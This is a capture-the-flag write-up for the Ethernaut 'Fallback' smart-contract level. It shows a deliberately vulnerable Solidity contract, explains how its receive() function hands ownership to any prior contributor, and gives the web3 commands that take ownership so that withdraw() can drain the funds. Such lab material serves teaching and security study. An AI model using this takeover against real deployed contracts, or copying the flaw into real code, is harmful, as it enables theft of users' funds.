Page cover image

Fallback

fallback() and receive()

Description

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract

  2. you reduce its balance to 0

Things that might help

  • How to send ether when interacting with an ABI

  • How to send ether outside of the ABI

  • Converting to and from wei/ether units (see help() command)

  • Fallback methods

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

When the contract is pushed to the chain, it sets the creator of this contract to be the owner and sets the "contribution" of the owner to be 1000 ether. The contract defines a public contribute() function to let users contribute ethers to the contract. If any user has greater contribution, this user becomes the new owner. The owner of this contract is able to call withdraw().

The contract implements a vulnerable receive() function:

receive() external payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

This is a special function that is called automatically when an user sends some ether to a contract without specifying anything in the data field of the transaction.

If data field is non-empty, then fallback() function will be called; if data field is empty, then receive() function will be called.

Here we can just send some ether to the contract to warm up contributions[msg.sender] and then send some ether again to fulfill the require() statement. After that owner = msg.sender will be triggered and we can call withdraw() to steal all the money.

Solution

Contribute 1 wei to the contract:

await contract.contribute({value:1})

Send 1 wei to the contract with an empty data field in order to trigger the receive() function:

await contract.sendTransaction({value:1})

Note that sendTransaction(<json_data>) is a web.js function, not a function defined inside the contract.

Now we should be the owner of this contract. To verify:

await contract.owner()

Summary

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.

You've also learnt about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.

Move on to the next level when you're ready!

Last updated